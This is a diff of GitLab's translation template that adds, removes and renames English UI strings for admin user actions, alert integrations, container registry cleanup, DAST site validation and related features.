msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2173,6 +2152,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2221,16 +2209,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2257,6 +2248,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2293,6 +2287,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2332,6 +2335,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2341,6 +2353,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2350,6 +2365,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2362,7 +2386,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2575,6 +2605,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2584,9 +2632,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2614,6 +2671,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2626,7 +2689,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2635,27 +2704,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2665,9 +2758,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2677,6 +2767,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2689,6 +2791,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2704,16 +2809,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2818,6 +2944,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2935,9 +3064,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3058,9 +3184,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3094,16 +3217,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3160,6 +3286,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3187,9 +3316,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3220,6 +3346,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3238,6 +3367,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3424,6 +3556,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3490,6 +3628,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3571,6 +3712,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3622,9 +3766,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3676,6 +3817,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3952,6 +4096,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4072,6 +4222,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4360,12 +4513,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4390,6 +4549,12 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4441,6 +4606,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4699,9 +4867,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4729,6 +4894,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4825,6 +4993,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4852,6 +5023,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4885,9 +5062,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5029,6 +5203,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5047,9 +5224,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5116,6 +5290,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5302,12 +5479,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5341,6 +5512,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5509,7 +5683,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5551,10 +5725,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5602,7 +5776,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5611,9 +5785,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5704,6 +5875,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5812,6 +5986,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6070,9 +6247,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6175,6 +6349,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6508,7 +6685,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6850,6 +7027,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6973,9 +7153,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7147,6 +7324,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7171,7 +7351,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7201,6 +7381,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7276,6 +7459,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7285,6 +7477,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7309,7 +7510,16 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7318,6 +7528,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7339,21 +7552,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8143,9 +8365,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8206,6 +8425,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8332,9 +8554,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8383,7 +8602,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8410,9 +8632,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8434,15 +8653,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8476,9 +8695,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8512,64 +8740,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8683,9 +8932,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8710,7 +8956,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8794,9 +9040,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
